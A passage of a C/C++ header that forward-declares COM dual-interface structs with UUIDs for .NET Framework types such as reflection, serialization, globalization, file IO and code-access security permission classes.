__declspec(uuid("57b849aa-d8ef-3ea6-9538-c5b4d498c2f7")) /* dual interface */ _AssemblyAlgorithmIdAttribute; struct __declspec(uuid("0ecd8635-f5eb-3e4a-8989-4d684d67c48a")) /* dual interface */ _AssemblyFlagsAttribute; struct __declspec(uuid("322a304d-11ac-3814-a905-a019f6e3dae9")) /* dual interface */ _AssemblyKeyNameAttribute; struct __declspec(uuid("fe52f19a-8aa8-309c-bf99-9d0a566fb76a")) /* dual interface */ _AssemblyNameProxy; struct __declspec(uuid("1660eb67-ee41-363e-beb0-c2de09214abf")) /* dual interface */ _CustomAttributeFormatException; struct __declspec(uuid("f4e5539d-0a65-3073-bf27-8dce8ef1def1")) /* dual interface */ _CustomAttributeData; struct __declspec(uuid("c462b072-fe6e-3bdc-9fab-4cdbfcbcd124")) /* dual interface */ _DefaultMemberAttribute; struct __declspec(uuid("e6df0ae7-ba15-3f80-8afa-27773ae414fc")) /* dual interface */ _InvalidFilterCriteriaException; struct __declspec(uuid("3188878c-deb3-3558-80e8-84e9ed95f92c")) /* dual interface */ _ManifestResourceInfo; struct __declspec(uuid("fae5d9b7-40c1-3de1-be06-a91c9da1ba9f")) /* dual interface */ _MemberFilter; struct __declspec(uuid("0c48f55d-5240-30c7-a8f1-af87a640cefe")) /* dual interface */ _Missing; struct __declspec(uuid("8a5f0da2-7b43-3767-b623-2424cf7cd268")) /* dual interface */ _ObfuscateAssemblyAttribute; struct __declspec(uuid("71fb8dcf-3fa7-3483-8464-9d8200e57c43")) /* dual interface */ _ObfuscationAttribute; struct __declspec(uuid("643a4016-1b16-3ccf-ae86-9c2d9135ecb0")) /* dual interface */ _ExceptionHandlingClause; struct __declspec(uuid("b072efe2-c943-3977-bfd9-91d5232b0d53")) /* dual interface */ _MethodBody; struct __declspec(uuid("f2ecd8ca-91a2-31e8-b808-e028b4f5ca67")) /* dual interface */ _LocalVariableInfo; struct __declspec(uuid("f0deafe9-5eba-3737-9950-c1795739cdcd")) /* dual interface */ _Pointer; struct __declspec(uuid("22c26a41-5fa3-34e3-a76f-ba480252d8ec")) /* dual interface */ _ReflectionTypeLoadException; struct __declspec(uuid("fc4963cb-e52b-32d8-a418-d058fa51a1fa")) /* dual interface */ _StrongNameKeyPair; struct __declspec(uuid("98b1524d-da12-3c4b-8a69-7539a6dec4fa")) /* dual interface */ _TargetException; struct __declspec(uuid("a90106ed-9099-3329-8a5a-2044b3d8552b")) /* dual interface */ _TargetInvocationException; struct __declspec(uuid("6032b3cd-9bed-351c-a145-9d500b0f636f")) /* dual interface */ _TargetParameterCountException; struct __declspec(uuid("34e00ef9-83e2-3bbc-b6af-4cae703838bd")) /* dual interface */ _TypeDelegator; struct __declspec(uuid("e1817846-3745-3c97-b4a6-ee20a1641b29")) /* dual interface */ _TypeFilter; struct __declspec(uuid("3faa35ee-c867-3e2e-bf48-2da271f88303")) /* dual interface */ _FormatterConverter; struct __declspec(uuid("f859954a-78cf-3d00-86ab-ef661e6a4b8d")) /* dual interface */ _FormatterServices; struct __declspec(uuid("feca70d4-ae27-3d94-93dd-a90f02e299d5")) /* dual interface */ _OptionalFieldAttribute; struct __declspec(uuid("9ec28d2c-04c0-35f3-a7ee-0013271ff65e")) /* dual interface */ _OnSerializingAttribute; struct __declspec(uuid("547bf8cd-f2a8-3b41-966d-98db33ded06d")) /* dual interface */ _OnSerializedAttribute; struct __declspec(uuid("f5aef88f-9ac4-320c-95d2-88e863a35762")) /* dual interface */ _OnDeserializingAttribute; struct __declspec(uuid("dd36c803-73d1-338d-88ba-dc9eb7620ef7")) /* dual interface */ _OnDeserializedAttribute; struct __declspec(uuid("450222d0-87ca-3699-a7b4-d8a0fdb72357")) /* dual interface */ _SerializationBinder; struct __declspec(uuid("245fe7fd-e020-3053-b5f6-7467fd2c6883")) /* dual interface */ _SerializationException; struct __declspec(uuid("b58d62cf-b03a-3a14-b0b6-b1e5ad4e4ad5")) /* dual interface */ _SerializationInfo; struct __declspec(uuid("607056c6-1bca-36c8-ab87-33b202ebf0d8")) /* dual interface */ _SerializationInfoEnumerator; struct __declspec(uuid("d9bd3c8d-9395-3657-b6ee-d1b509c38b70")) /* dual interface */ _Formatter; struct __declspec(uuid("a30646cc-f710-3bfa-a356-b4c858d4ed8e")) /* dual interface */ _ObjectIDGenerator; struct __declspec(uuid("f28e7d04-3319-3968-8201-c6e55becd3d4")) /* dual interface */ _ObjectManager; struct __declspec(uuid("6de1230e-1f52-3779-9619-f5184103466c")) /* dual interface */ _SurrogateSelector; struct __declspec(uuid("4cca29e4-584b-3cd0-ad25-855dc5799c16")) /* dual interface */ _Calendar; struct __declspec(uuid("505defe5-aefa-3e23-82b0-d5eb085bb840")) /* dual interface */ _CompareInfo; struct __declspec(uuid("152722c2-f0b1-3d19-ada8-f40ca5caecb8")) /* dual interface */ _CultureInfo; struct __declspec(uuid("ab20bf9e-7549-3226-ba87-c1edfb6cda6c")) /* dual interface */ _CultureNotFoundException; struct __declspec(uuid("015e9f67-337c-398a-a0c1-da4af1905571")) /* dual interface */ _DateTimeFormatInfo; struct __declspec(uuid("efea8feb-ee7f-3e48-8a36-6206a6acbf73")) /* dual interface */ _DaylightTime; struct __declspec(uuid("677ad8b5-8a0e-3c39-92fb-72fb817cf694")) /* dual interface */ _GregorianCalendar; struct __declspec(uuid("96a62d6c-72a9-387a-81fa-e6dd5998caee")) /* dual interface */ _HebrewCalendar; struct __declspec(uuid("28ddc187-56b2-34cf-a078-48bd1e113d1e")) /* dual interface */ _HijriCalendar; struct __declspec(uuid("89e148c4-2424-30ae-80f5-c5d21ea3366c")) /* dual interface */ _EastAsianLunisolarCalendar; struct __declspec(uuid("36e2de92-1fb3-3d7d-ba26-9cad5b98dd52")) /* dual interface */ _JulianCalendar; struct __declspec(uuid("d662ae3f-cef9-38b4-bb8e-5d8dd1dbf806")) /* dual interface */ _JapaneseCalendar; struct __declspec(uuid("48bea6c4-752e-3974-8ca8-cfb6274e2379")) /* dual interface */ _KoreanCalendar; struct __declspec(uuid("f9e97e04-4e1e-368f-b6c6-5e96ce4362d6")) /* dual interface */ _RegionInfo; struct __declspec(uuid("f4c70e15-2ca6-3e90-96ed-92e28491f538")) /* dual interface */ _SortKey; struct __declspec(uuid("0a25141f-51b3-3121-aa30-0af4556a52d9")) /* dual interface */ _StringInfo; struct __declspec(uuid("0c08ed74-0acf-32a9-99df-09a9dc4786dd")) /* dual interface */ _TaiwanCalendar; struct __declspec(uuid("8c248251-3e6c-3151-9f8e-a255fb8d2b12")) /* dual interface */ _TextElementEnumerator; struct __declspec(uuid("db8de23f-f264-39ac-b61c-cc1e7eb4a5e6")) /* dual interface */ _TextInfo; struct __declspec(uuid("c70c8ae8-925b-37ce-8944-34f15ff94307")) /* dual interface */ _ThaiBuddhistCalendar; struct __declspec(uuid("25e47d71-20dd-31be-b261-7ae76497d6b9")) /* dual interface */ _NumberFormatInfo; struct __declspec(uuid("ddedb94d-4f3f-35c1-97c9-3f1d87628d9e")) /* dual interface */ _Encoding; struct __declspec(uuid("8fd56502-8724-3df0-a1b5-9d0e8d4e4f78")) /* dual interface */ _Encoder; struct __declspec(uuid("2adb0d4a-5976-38e4-852b-c131797430f5")) /* dual interface */ _Decoder; struct __declspec(uuid("0cbe0204-12a1-3d40-9d9e-195de6aaa534")) /* dual interface */ _ASCIIEncoding; struct __declspec(uuid("f7dd3b7f-2b05-3894-8eda-59cdf9395b6a")) /* dual interface */ _UnicodeEncoding; struct __declspec(uuid("89b9f00b-aa2a-3a49-91b4-e8d1f1c00e58")) /* dual interface */ _UTF7Encoding; struct __declspec(uuid("010fc1d0-3ef9-3f3b-aa0a-b78a1ff83a37")) /* dual interface */ _UTF8Encoding; struct __declspec(uuid("1a4e1878-fe8c-3f59-b6a9-21ab82be57e9")) /* dual interface */ _MissingManifestResourceException; struct __declspec(uuid("5a8de087-d9d7-3bba-92b4-fe1034a1242f")) /* dual interface */ _MissingSatelliteAssemblyException; struct __declspec(uuid("f48df808-8b7d-3f4e-9159-1dfd60f298d6")) /* dual interface */ _NeutralResourcesLanguageAttribute; struct __declspec(uuid("4de671b7-7c85-37e9-aff8-1222abe4883e")) /* dual interface */ _ResourceManager; struct __declspec(uuid("7fbcfdc7-5cec-3945-8095-daed61be5fb1")) /* dual interface */ _ResourceReader; struct __declspec(uuid("44d5f81a-727c-35ae-8df8-9ff6722f1c6c")) /* dual interface */ _ResourceSet; struct __declspec(uuid("af170258-aac6-3a86-bd34-303e62ced10e")) /* dual interface */ _ResourceWriter; struct __declspec(uuid("5cbb1f47-fba5-33b9-9d4a-57d6e3d133d2")) /* dual interface */ _SatelliteContractVersionAttribute; struct __declspec(uuid("23bae0c0-3a36-32f0-9dad-0e95add67d23")) /* dual interface */ _Registry; struct __declspec(uuid("2eac6733-8d92-31d9-be04-dc467efc3eb1")) /* dual interface */ _RegistryKey; struct __declspec(uuid("99f01720-3cc2-366d-9ab9-50e36647617f")) /* dual interface */ _AllMembershipCondition; struct __declspec(uuid("9ccc831b-1ba7-34be-a966-56d5a6db5aad")) /* dual interface */ _ApplicationDirectory; struct __declspec(uuid("a02a2b22-1dba-3f92-9f84-5563182851bb")) /* dual interface */ _ApplicationDirectoryMembershipCondition; struct __declspec(uuid("18e473f6-637b-3c01-8d46-d011aad26c95")) /* dual interface */ _ApplicationSecurityInfo; struct __declspec(uuid("c664fe09-0a55-316d-b25b-6b3200ecaf70")) /* dual interface */ _ApplicationSecurityManager; struct __declspec(uuid("e66a9755-58e2-3fcb-a265-835851cbf063")) /* dual interface */ _ApplicationTrust; struct __declspec(uuid("bb03c920-1c05-3ecb-982d-53324d5ac9ff")) /* dual interface */ _ApplicationTrustCollection; struct __declspec(uuid("01afd447-60ca-3b67-803a-e57b727f3a5b")) /* dual interface */ _ApplicationTrustEnumerator; struct __declspec(uuid("d7093f61-ed6b-343f-b1e9-02472fcc710e")) /* dual interface */ _CodeGroup; struct __declspec(uuid("a505edbc-380e-3b23-9e1a-0974d4ef02ef")) /* dual interface */ _Evidence; struct __declspec(uuid("dfad74dc-8390-32f6-9612-1bd293b233f4")) /* dual interface */ _FileCodeGroup; struct __declspec(uuid("54b0afb1-e7d3-3770-bb0e-75a95e8d2656")) /* dual interface */ _FirstMatchCodeGroup; struct __declspec(uuid("d89eac5e-0331-3fcd-9c16-4f1ed3fe1be2")) /* dual interface */ _TrustManagerContext; struct __declspec(uuid("fe8a2546-3478-3fad-be1d-da7bc25c4e4e")) /* dual interface */ _CodeConnectAccess; struct __declspec(uuid("a8f69eca-8c48-3b5e-92a1-654925058059")) /* dual interface */ _NetCodeGroup; struct __declspec(uuid("34b0417e-e71d-304c-9fac-689350a1b41c")) /* dual interface */ _PermissionRequestEvidence; struct __declspec(uuid("a9c9f3d9-e153-39b8-a533-b8df4664407b")) /* dual interface */ _PolicyException; struct __declspec(uuid("44494e35-c370-3014-bc78-0f2ecbf83f53")) /* dual interface */ _PolicyLevel; struct __declspec(uuid("3eefd1fc-4d8d-3177-99f6-6c19d9e088d3")) /* dual interface */ _PolicyStatement; struct __declspec(uuid("90c40b4c-b0d0-30f5-b520-fdba97bc31a0")) /* dual interface */ _Site; struct __declspec(uuid("0a7c3542-8031-3593-872c-78d85d7cc273")) /* dual interface */ _SiteMembershipCondition; struct __declspec(uuid("2a75c1fd-06b0-3cbb-b467-2545d4d6c865")) /* dual interface */ _StrongName; struct __declspec(uuid("579e93bc-ffab-3b8d-9181-ce9c22b51915")) /* dual interface */ _StrongNameMembershipCondition; struct __declspec(uuid("d9d822de-44e5-33ce-a43f-173e475cecb1")) /* dual interface */ _UnionCodeGroup; struct __declspec(uuid("d94ed9bf-c065-3703-81a2-2f76ea8e312f")) /* dual interface */ _Url; struct __declspec(uuid("bb7a158d-dbd9-3e13-b137-8e61e87e1128")) /* dual interface */ _UrlMembershipCondition; struct __declspec(uuid("742e0c26-0e23-3d20-968c-d221094909aa")) /* dual interface */ _Zone; struct __declspec(uuid("adbc3463-0101-3429-a06c-db2f1dd6b724")) /* dual interface */ _ZoneMembershipCondition; struct __declspec(uuid("a7aef52c-b47b-3660-bb3e-34347d56db46")) /* dual interface */ _GacInstalled; struct __declspec(uuid("b2217ab5-6e55-3ff6-a1a9-1b0dc0585040")) /* dual interface */ _GacMembershipCondition; struct __declspec(uuid("7574e121-74a6-3626-b578-0783badb19d2")) /* dual interface */ _Hash; struct __declspec(uuid("6ba6ea7a-c9fc-3e73-82ec-18f29d83eefd")) /* dual interface */ _HashMembershipCondition; struct __declspec(uuid("77cca693-abf6-3773-bf58-c0b02701a744")) /* dual interface */ _Publisher; struct __declspec(uuid("3515cf63-9863-3044-b3e1-210e98efc702")) /* dual interface */ _PublisherMembershipCondition; struct __declspec(uuid("42ca6b3f-8cb9-3005-a7c1-ee9021db369b")) /* dual interface */ _ClaimsIdentity; struct __declspec(uuid("9a37d8b2-2256-3fe3-8bf0-4fc421a1244f")) /* dual interface */ _GenericIdentity; struct __declspec(uuid("d26a9704-bf99-3a3f-ac55-96af1a314c7f")) /* dual interface */ _ClaimsPrincipal; struct __declspec(uuid("b4701c26-1509-3726-b2e1-409a636c9b4f")) /* dual interface */ _GenericPrincipal; struct __declspec(uuid("d8cf3f23-1a66-3344-8230-07eb53970b85")) /* dual interface */ _WindowsIdentity; struct __declspec(uuid("60ecfdda-650a-324c-b4b3-f4d75b563bb1")) /* dual interface */ _WindowsImpersonationContext; struct __declspec(uuid("6c42baf9-1893-34fc-b3af-06931e9b34a3")) /* dual interface */ _WindowsPrincipal; struct __declspec(uuid("1b6ed26a-4b7f-34fc-b2c8-8109d684b3df")) /* dual interface */ _UnmanagedFunctionPointerAttribute; struct __declspec(uuid("bbe41ac5-8692-3427-9ae1-c1058a38d492")) /* dual interface */ _DispIdAttribute; struct __declspec(uuid("a2145f38-cac1-33dd-a318-21948af6825d")) /* dual interface */ _InterfaceTypeAttribute; struct __declspec(uuid("0c1e7b57-b9b1-36e4-8396-549c29062a81")) /* dual interface */ _ComDefaultInterfaceAttribute; struct __declspec(uuid("6b6391ee-842f-3e9a-8eee-f13325e10996")) /* dual interface */ _ClassInterfaceAttribute; struct __declspec(uuid("1e7fffe2-aad9-34ee-8a9f-3c016b880ff0")) /* dual interface */ _ComVisibleAttribute; struct __declspec(uuid("288a86d1-6f4f-39c9-9e42-162cf1c37226")) /* dual interface */ _TypeLibImportClassAttribute; struct __declspec(uuid("4ab67927-3c86-328a-8186-f85357dd5527")) /* dual interface */ _LCIDConversionAttribute; struct __declspec(uuid("51ba926f-aab5-3945-b8a6-c8f0f4a7d12b")) /* dual interface */ _ComRegisterFunctionAttribute; struct __declspec(uuid("9f164188-34eb-3f86-9f74-0bbe4155e65e")) /* dual interface */ _ComUnregisterFunctionAttribute; struct __declspec(uuid("2b9f01df-5a12-3688-98d6-c34bf5ed1865")) /* dual interface */ _ProgIdAttribute; struct __declspec(uuid("3f3311ce-6baf-3fb0-b855-489aff740b6e")) /* dual interface */ _ImportedFromTypeLibAttribute; struct __declspec(uuid("5778e7c7-2040-330e-b47a-92974dffcfd4")) /* dual interface */ _IDispatchImplAttribute; struct __declspec(uuid("e1984175-55f5-3065-82d8-a683fdfcf0ac")) /* dual interface */ _ComSourceInterfacesAttribute; struct __declspec(uuid("fd5b6aac-ff8c-3472-b894-cd6dfadb6939")) /* dual interface */ _ComConversionLossAttribute; struct __declspec(uuid("b5a1729e-b721-3121-a838-fde43af13468")) /* dual interface */ _TypeLibTypeAttribute; struct __declspec(uuid("3d18a8e2-eede-3139-b29d-8cac057955df")) /* dual interface */ _TypeLibFuncAttribute; struct __declspec(uuid("7b89862a-02a4-3279-8b42-4095fa3a778e")) /* dual interface */ _TypeLibVarAttribute; struct __declspec(uuid("d858399f-e19e-3423-a720-ac12abe2e5e8")) /* dual interface */ _MarshalAsAttribute; struct __declspec(uuid("1b093056-5454-386f-8971-bbcbc4e9a8f3")) /* dual interface */ _ComImportAttribute; struct __declspec(uuid("74435dad-ec55-354b-8f5b-fa70d13b6293")) /* dual interface */ _GuidAttribute; struct __declspec(uuid("fdf2a2ee-c882-3198-a48b-e37f0e574dfa")) /* dual interface */ _PreserveSigAttribute; struct __declspec(uuid("8474b65c-c39a-3d05-893d-577b9a314615")) /* dual interface */ _InAttribute; struct __declspec(uuid("0697fc8c-9b04-3783-95c7-45eccac1ca27")) /* dual interface */ _OutAttribute; struct __declspec(uuid("0d6bd9ad-198e-3904-ad99-f6f82a2787c4")) /* dual interface */ _OptionalAttribute; struct __declspec(uuid("a1a26181-d55e-3ee2-96e6-70b354ef9371")) /* dual interface */ _DllImportAttribute; struct __declspec(uuid("23753322-c7b3-3f9a-ac96-52672c1b1ca9")) /* dual interface */ _StructLayoutAttribute; struct __declspec(uuid("c14342b8-bafd-322a-bb71-62c672da284e")) /* dual interface */ _FieldOffsetAttribute; struct __declspec(uuid("e78785c4-3a73-3c15-9390-618bf3a14719")) /* dual interface */ _ComAliasNameAttribute; struct __declspec(uuid("57b908a8-c082-3581-8a47-6b41b86e8fdc")) /* dual interface */ _AutomationProxyAttribute; struct __declspec(uuid("c69e96b2-6161-3621-b165-5805198c6b8d")) /* dual interface */ _PrimaryInteropAssemblyAttribute; struct __declspec(uuid("15d54c00-7c95-38d7-b859-e19346677dcd")) /* dual interface */ _CoClassAttribute; struct __declspec(uuid("76cc0491-9a10-35c0-8a66-7931ec345b7f")) /* dual interface */ _ComEventInterfaceAttribute; struct __declspec(uuid("a03b61a4-ca61-3460-8232-2f4ec96aa88f")) /* dual interface */ _TypeLibVersionAttribute; struct __declspec(uuid("ad419379-2ac8-3588-ab1e-0115413277c4")) /* dual interface */ _ComCompatibleVersionAttribute; struct __declspec(uuid("ed47abe7-c84b-39f9-be1b-828cfb925afe")) /* dual interface */ _BestFitMappingAttribute; struct __declspec(uuid("b26b3465-28e4-33b5-b9bf-dd7c4f6461f5")) /* dual interface */ _DefaultCharSetAttribute; struct __declspec(uuid("a54ac093-bfce-37b0-a81f-148dfed0971f")) /* dual interface */ _SetWin32ContextInIDispatchAttribute; struct __declspec(uuid("a83f04e9-fd28-384a-9dff-410688ac23ab")) /* dual interface */ _ExternalException; struct __declspec(uuid("a28c19df-b488-34ae-becc-7de744d17f7b")) /* dual interface */ _COMException; struct __declspec(uuid("76e5dbd6-f960-3c65-8ea6-fc8ad6a67022")) /* dual interface */ _InvalidOleVariantTypeException; struct __declspec(uuid("523f42a5-1fd2-355d-82bf-0d67c4a0a0e7")) /* dual interface */ _MarshalDirectiveException; struct __declspec(uuid("edcee21a-3e3a-331e-a86d-274028be6716")) /* dual interface */ _RuntimeEnvironment; struct __declspec(uuid("3e72e067-4c5e-36c8-bbef-1e2978c7780d")) /* dual interface */ _SEHException; struct __declspec(uuid("80da5818-609f-32b8-a9f8-95fcfbdb9c8e")) /* dual interface */ _BStrWrapper; struct __declspec(uuid("7df6f279-da62-3c9f-8944-4dd3c0f08170")) /* dual interface */ _CurrencyWrapper; struct __declspec(uuid("72103c67-d511-329c-b19a-dd5ec3f1206c")) /* dual interface */ _DispatchWrapper; struct __declspec(uuid("f79db336-06be-3959-a5ab-58b2ab6c5fd1")) /* dual interface */ _ErrorWrapper; struct __declspec(uuid("519eb857-7a2d-3a95-a2a3-8bb8ed63d41b")) /* dual interface */ _ExtensibleClassFactory; struct __declspec(uuid("de9156b5-5e7a-3041-bf45-a29a6c2cf48a")) /* dual interface */ _InvalidComObjectException; struct __declspec(uuid("e4a369d3-6cf0-3b05-9c0c-1a91e331641a")) /* dual interface */ _ObjectCreationDelegate; struct __declspec(uuid("8608fe7b-2fdc-318a-b711-6f7b2feded06")) /* dual interface */ _SafeArrayRankMismatchException; struct __declspec(uuid("e093fb32-e43b-3b3f-a163-742c920c2af3")) /* dual interface */ _SafeArrayTypeMismatchException; struct __declspec(uuid("1c8d8b14-4589-3dca-8e0f-a30e80fbd1a8")) /* dual interface */ _UnknownWrapper; struct __declspec(uuid("556137ea-8825-30bc-9d49-e47a9db034ee")) /* dual interface */ _TextWriter; struct __declspec(uuid("2752364a-924f-3603-8f6f-6586df98b292")) /* dual interface */ _Stream; struct __declspec(uuid("442e3c03-a205-3f21-aa4d-31768bb8ea28")) /* dual interface */ _BinaryReader; struct __declspec(uuid("4ca8147e-baa3-3a7f-92ce-a4fd7f17d8da")) /* dual interface */ _BinaryWriter; struct __declspec(uuid("4b7571c3-1275-3457-8fee-9976fd3937e3")) /* dual interface */ _BufferedStream; struct __declspec(uuid("8ce58ff5-f26d-38a4-9195-0e2ecb3b56b9")) /* dual interface */ _Directory; struct __declspec(uuid("a5d29a57-36a8-3e36-a099-7458b1fabaa2")) /* dual interface */ _FileSystemInfo; struct __declspec(uuid("487e52f1-2bb9-3bd0-a0ca-6728b3a1d051")) /* dual interface */ _DirectoryInfo; struct __declspec(uuid("c5bfc9bf-27a7-3a59-a986-44c85f3521bf")) /* dual interface */ _IOException; struct __declspec(uuid("c8a200e4-9735-30e4-b168-ed861a3020f2")) /* dual interface */ _DirectoryNotFoundException; struct __declspec(uuid("ce83a763-940f-341f-b880-332325eb6f4b")) /* dual interface */ _DriveInfo; struct __declspec(uuid("b24e9559-a662-3762-ae33-bc7dfdd538f4")) /* dual interface */ _DriveNotFoundException; struct __declspec(uuid("d625afd0-8fd9-3113-a900-43912a54c421")) /* dual interface */ _EndOfStreamException; struct __declspec(uuid("5d59051f-e19d-329a-9962-fd00d552e13d")) /* dual interface */ _File; struct __declspec(uuid("c3c429f9-8590-3a01-b2b2-434837f3d16d")) /* dual interface */ _FileInfo; struct __declspec(uuid("51d2c393-9b70-3551-84b5-ff5409fb3ada")) /* dual interface */ _FileLoadException; struct __declspec(uuid("a15a976b-81e3-3ef4-8ff1-d75ddbe20aef")) /* dual interface */ _FileNotFoundException; struct __declspec(uuid("74265195-4a46-3d6f-a9dd-69c367ea39c8")) /* dual interface */ _FileStream; struct __declspec(uuid("2dbc46fe-b3dd-3858-afc2-d3a2d492a588")) /* dual interface */ _MemoryStream; struct __declspec(uuid("6df93530-d276-31d9-8573-346778c650af")) /* dual interface */ _Path; struct __declspec(uuid("468b8eb4-89ac-381b-8f86-5e47ec0648b4")) /* dual interface */ _PathTooLongException; struct __declspec(uuid("897471f2-9450-3f03-a41f-d2e1f1397854")) /* dual interface */ _TextReader; struct __declspec(uuid("e645b470-dc3f-3ce0-8104-5837feda04b3")) /* dual interface */ _StreamReader; struct __declspec(uuid("1f124e1c-d05d-3643-a59f-c3de6051994f")) /* dual interface */ _StreamWriter; struct __declspec(uuid("59733b03-0ea5-358c-95b5-659fcd9aa0b4")) /* dual interface */ _StringReader; struct __declspec(uuid("cb9f94c0-d691-3b62-b0b2-3ce5309cfa62")) /* dual interface */ _StringWriter; struct __declspec(uuid("998dcf16-f603-355d-8c89-3b675947997f")) /* dual interface */ _AccessedThroughPropertyAttribute; struct __declspec(uuid("a6c2239b-08e6-3822-9769-e3d4b0431b82")) /* dual interface */ _CallConvCdecl; struct __declspec(uuid("8e17a5cd-1160-32dc-8548-407e7c3827c9")) /* dual interface */ _CallConvStdcall; struct __declspec(uuid("fa73dd3d-a472-35ed-b8be-f99a13581f72")) /* dual interface */ _CallConvThiscall; struct __declspec(uuid("3b452d17-3c5e-36c4-a12d-5e9276036cf8")) /* dual interface */ _CallConvFastcall; struct __declspec(uuid("62caf4a2-6a78-3fc7-af81-a6bbf930761f")) /* dual interface */ _CustomConstantAttribute; struct __declspec(uuid("ef387020-b664-3acd-a1d2-806345845953")) /* dual interface */ _DateTimeConstantAttribute; struct __declspec(uuid("3c3a8c69-7417-32fa-aa20-762d85e1b594")) /* dual interface */ _DiscardableAttribute; struct __declspec(uuid("7e133967-ccec-3e89-8bd2-6cfca649ecbf")) /* dual interface */ _DecimalConstantAttribute; struct __declspec(uuid("c5c4f625-2329-3382-8994-aaf561e5dfe9")) /* dual interface */ _CompilationRelaxationsAttribute; struct __declspec(uuid("1eed213e-656a-3a73-a4b9-0d3b26fd942b")) /* dual interface */ _CompilerGlobalScopeAttribute; struct __declspec(uuid("243368f5-67c9-3510-9424-335a8a67772f")) /* dual interface */ _IndexerNameAttribute; struct __declspec(uuid("0278c819-0c06-3756-b053-601a3e566d9b")) /* dual interface */ _IsVolatile; struct __declspec(uuid("98966503-5d80-3242-83ef-79e136f6b954")) /* dual interface */ _MethodImplAttribute; struct __declspec(uuid("db2c11d9-3870-35e7-a10c-a3ddc3dc79b1")) /* dual interface */ _RequiredAttributeAttribute; struct __declspec(uuid("f68a4008-ab94-3370-a9ac-8cc99939f534")) /* dual interface */ _IsCopyConstructed; struct __declspec(uuid("40e8e914-dc23-38a6-936b-90e4e3ab01fa")) /* dual interface */ _NativeCppClassAttribute; struct __declspec(uuid("97d0b28a-6932-3d74-b67f-6bcd3c921e7d")) /* dual interface */ _IDispatchConstantAttribute; struct __declspec(uuid("54542649-ce64-3f96-bce5-fde3bb22f242")) /* dual interface */ _IUnknownConstantAttribute; struct __declspec(uuid("8d597c42-2cfd-32b6-b6d6-86c9e2cff00a")) /* dual interface */ _SecurityElement; struct __declspec(uuid("d9fcad88-d869-3788-a802-1b1e007c7a22")) /* dual interface */ _XmlSyntaxException; struct __declspec(uuid("4803ce39-2f30-31fc-b84b-5a0141385269")) /* dual interface */ _CodeAccessPermission; struct __declspec(uuid("0720590d-5218-352a-a337-5449e6bd19da")) /* dual interface */ _EnvironmentPermission; struct __declspec(uuid("a8b7138c-8932-3d78-a585-a91569c743ac")) /* dual interface */ _FileDialogPermission; struct __declspec(uuid("a2ed7efc-8e59-3ccc-ae92-ea2377f4d5ef")) /* dual interface */ _FileIOPermission; struct __declspec(uuid("48815668-6c27-3312-803e-2757f55ce96a")) /* dual interface */ _SecurityAttribute; struct __declspec(uuid("9c5149cb-d3c6-32fd-a0d5-95350de7b813")) /* dual interface */ _CodeAccessSecurityAttribute; struct __declspec(uuid("9f8f73a3-1e99-3e51-a41b-179a41dc747c")) /* dual interface */ _HostProtectionAttribute; struct __declspec(uuid("7fee7903-f97c-3350-ad42-196b00ad2564")) /* dual interface */ _IsolatedStoragePermission; struct __declspec(uuid("0d0c83e8-bde1-3ba5-b1ef-a8fc686d8bc9")) /* dual interface */ _IsolatedStorageFilePermission; struct __declspec(uuid("4164071a-ed12-3bdd-af40-fdabcaa77d5f")) /* dual interface */ _EnvironmentPermissionAttribute; struct __declspec(uuid("0ccca629-440f-313e-96cd-ba1b4b4997f7")) /* dual interface */ _FileDialogPermissionAttribute; struct __declspec(uuid("0dca817d-f21a-3943-b54c-5e800ce5bc50")) /* dual interface */ _FileIOPermissionAttribute; struct __declspec(uuid("edb51d1c-08ad-346a-be6f-d74fd6d6f965")) /* dual interface */ _KeyContainerPermissionAttribute; struct __declspec(uuid("68ab69e4-5d68-3b51-b74d-1beab9f37f2b")) /* dual interface */ _PrincipalPermissionAttribute; struct __declspec(uuid("d31eed10-a5f0-308f-a951-e557961ec568")) /* dual interface */ _ReflectionPermissionAttribute; struct __declspec(uuid("38b6068c-1e94-3119-8841-1eca35ed8578")) /* dual interface */ _RegistryPermissionAttribute; struct __declspec(uuid("3a5b876c-cde4-32d2-9c7e-020a14aca332")) /* dual interface */ _SecurityPermissionAttribute; struct __declspec(uuid("1d5c0f70-af29-38a3-9436-3070a310c73b")) /* dual interface */ _UIPermissionAttribute; struct __declspec(uuid("2e3be3ed-2f22-3b20-9f92-bd29b79d6f42")) /* dual interface */ _ZoneIdentityPermissionAttribute; struct __declspec(uuid("c9a740f4-26e9-39a8-8885-8ca26bd79b21")) /* dual interface */ _StrongNameIdentityPermissionAttribute; struct __declspec(uuid("6fe6894a-2a53-3fb6-a06e-348f9bdad23b")) /* dual interface */ _SiteIdentityPermissionAttribute; struct __declspec(uuid("ca4a2073-48c5-3e61-8349-11701a90dd9b")) /* dual interface */ _UrlIdentityPermissionAttribute; struct __declspec(uuid("6722c730-1239-3784-ac94-c285ae5b901a")) /* dual interface */ _PublisherIdentityPermissionAttribute; struct __declspec(uuid("5c4c522f-de4e-3595-9aa9-9319c86a5283")) /* dual interface */ _IsolatedStoragePermissionAttribute; struct __declspec(uuid("6f1f8aae-d667-39cc-98fa-722bebbbeac3")) /* dual interface */ _IsolatedStorageFilePermissionAttribute; struct __declspec(uuid("947a1995-bc16-3e7c-b65a-99e71f39c091")) /* dual interface */ _PermissionSetAttribute; struct __declspec(uuid("aeb3727f-5c3a-34c4-bf18-a38f088ac8c7")) /* dual interface */ _ReflectionPermission; struct __declspec(uuid("7c6b06d1-63ad-35ef-a938-149b4ad9a71f")) /* dual interface */ _PrincipalPermission; struct __declspec(uuid("33c54a2d-02bd-3848-80b6-742d537085e5")) /* dual interface */ _SecurityPermission; struct __declspec(uuid("790b3ee9-7e06-3cd0-8243-5848486d6a78")) /* dual interface */ _SiteIdentityPermission; struct __declspec(uuid("5f1562fb-0160-3655-baea-b15bef609161")) /* dual interface */ _StrongNameIdentityPermission; struct __declspec(uuid("af53d21a-d6af-3406-b399-7df9d2aad48a")) /* dual interface */ _StrongNamePublicKeyBlob; struct __declspec(uuid("47698389-f182-3a67-87df-aed490e14dc6")) /* dual interface */ _UIPermission; struct __declspec(uuid("ec7cac31-08a2-393b-bdf2-d052eb53af2c")) /* dual interface */ _UrlIdentityPermission; struct __declspec(uuid("38b2f8d7-8cf4-323b-9c17-9c55ee287a63")) /* dual interface */ _ZoneIdentityPermission; struct __declspec(uuid("5f19e082-26f8-3361-b338-9bacb98809a4")) /* dual interface */ _GacIdentityPermissionAttribute; struct __declspec(uuid("a9637792-5be8-3c93-a501-49f0e840de38")) /* dual interface */ _GacIdentityPermission; struct __declspec(uuid("094351ea-dbc1-327f-8a83-913b593a66be")) /* dual interface */ 